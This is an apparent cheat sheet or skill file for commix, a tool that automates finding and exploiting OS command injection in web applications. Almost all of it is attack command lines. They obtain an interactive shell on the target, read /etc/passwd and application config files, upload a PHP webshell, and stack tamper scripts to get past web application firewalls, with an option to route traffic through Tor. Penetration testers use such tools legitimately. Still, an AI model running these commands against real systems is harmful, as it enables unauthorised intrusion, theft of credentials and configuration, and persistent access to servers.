AeonDave commix
Automated OS command injection detection and exploitation.
Quick Start
# GET parameter
commix --url="http://target.com/ping?ip=127.0.0.1"
# POST parameter
commix --url="http://target.com/ping" --data="ip=127.0.0.1"
# From Burp request
commix -r request.txt
# Mark injection point explicitly with *
commix --url="http://target.com/page?ip=*"
# Direct OS shell
commix --url="http://target.com/?ip=1" --os-shell
Core Flags
| Flag | Purpose |
|---|---|
--url <url> |
Target URL (* marks injection point) |
--data <data> |
POST body (* marks injection point) |
-r <file> |
Burp-format raw request file |
--cookie <c> |
Cookie string |
--headers <h> |
Custom HTTP headers |
--user-agent <ua> |
Custom User-Agent |
--referer <url> |
Custom Referer |
--param <p> |
Test specific parameter only |
--level <1-3> |
Test depth/thoroughness (default: 1) |
--technique <t> |
Force technique: classic / timebased / file-based / semi-blind |
--os-cmd <cmd> |
Execute single OS command |
--os-shell |
Interactive pseudo-shell after exploitation |
--file-read <path> |
Read file from target server |
--file-write <local> |
Write local file to server |
--file-dest <path> |
Destination path for file write |
--upload-file <file> |
Upload file via command injection |
--tamper <script> |
Tamper script for WAF bypass (comma-separated) |
--base64 |
Base64-encode payloads |
--hex |
Hex-encode payloads |
--random-agent |
Random User-Agent |
--tor |
Route through Tor |
--proxy <url> |
HTTP/HTTPS proxy |
--batch |
Non-interactive, auto-accept defaults |
--output-dir <dir> |
Custom output directory |
Injection Techniques
| Code | Technique | When to Use |
|---|---|---|
classic |
Output visible in response | Default — fastest when output reflected |
timebased |
Response delay reveals success | Blind injection, no output visible |
file-based |
Output written to accessible file | Semi-blind with web-writable dir |
semi-blind |
Alternative retrieval method | Middle-ground cases |
# Force time-based (blind)
commix --url="http://target.com/ping?ip=1" --technique=timebased
# Force classic (results-based)
commix --url="http://target.com/ping?ip=1" --technique=classic
WAF Bypass (Tamper Scripts)
# Common tampers
commix --url="http://target.com/?ip=1" --tamper=space2ifs
commix --url="http://target.com/?ip=1" --tamper=base64encode
commix --url="http://target.com/?ip=1" --tamper=hexencode
# Stack multiple
commix --url="http://target.com/?ip=1" \
--tamper=space2ifs,randomcase,backslashes
| Tamper | Effect |
|---|---|
space2ifs |
Replace spaces with $IFS |
base64encode |
Base64-encode payload |
hexencode |
Hex-encode payload |
randomcase |
Randomize keyword case |
backslashes |
Add backslash escaping |
caret |
Add caret characters (c^at) |
dollaratsigns |
Use $@ syntax |
nested |
Nest commands in payload |
xforwardedfor |
Spoof X-Forwarded-For |
uninitializedvariable |
Use $u uninitialized vars |
slash2env |
Replace / with ${PATH:0:1} |
sleep2usleep |
Replace sleep with usleep |
printf2echo |
Replace printf with echo |
Common Workflows
# Test all techniques (level 3 = headers/referer/cookies)
commix -r request.txt --level=3 --batch
# Confirm injection then get shell
commix --url="http://target.com/api?cmd=ls" --os-cmd="id"
commix --url="http://target.com/api?cmd=ls" --os-shell
# Read sensitive files
commix --url="http://target.com/?ip=1" --file-read=/etc/passwd
commix --url="http://target.com/?ip=1" --file-read=/var/www/html/config.php
# Upload webshell
commix --url="http://target.com/?ip=1" \
--file-write=./shell.php \
--file-dest=/var/www/html/shell.php
# Cookie injection (test session parameter)
commix --url="http://target.com/profile" \
--cookie="user=admin; debug=*" \
--level=2
# Through Burp proxy
commix -r request.txt --proxy=http://127.0.0.1:8080 --batch
# WAF bypass with encoding
commix --url="http://target.com/?ip=1" \
--tamper=space2ifs,base64encode \
--technique=timebased --batch
Injection Point Marking
URL: http://target.com/page.php?cmd=*
POST: cmd=*&other=value
Cookie: session=abc; debug=*
Header: X-Custom: *
Resources
| File | When to load |
|---|---|
references/techniques.md |
Blind injection patterns, shell escalation, file upload via cmdi, reverse shell one-liners |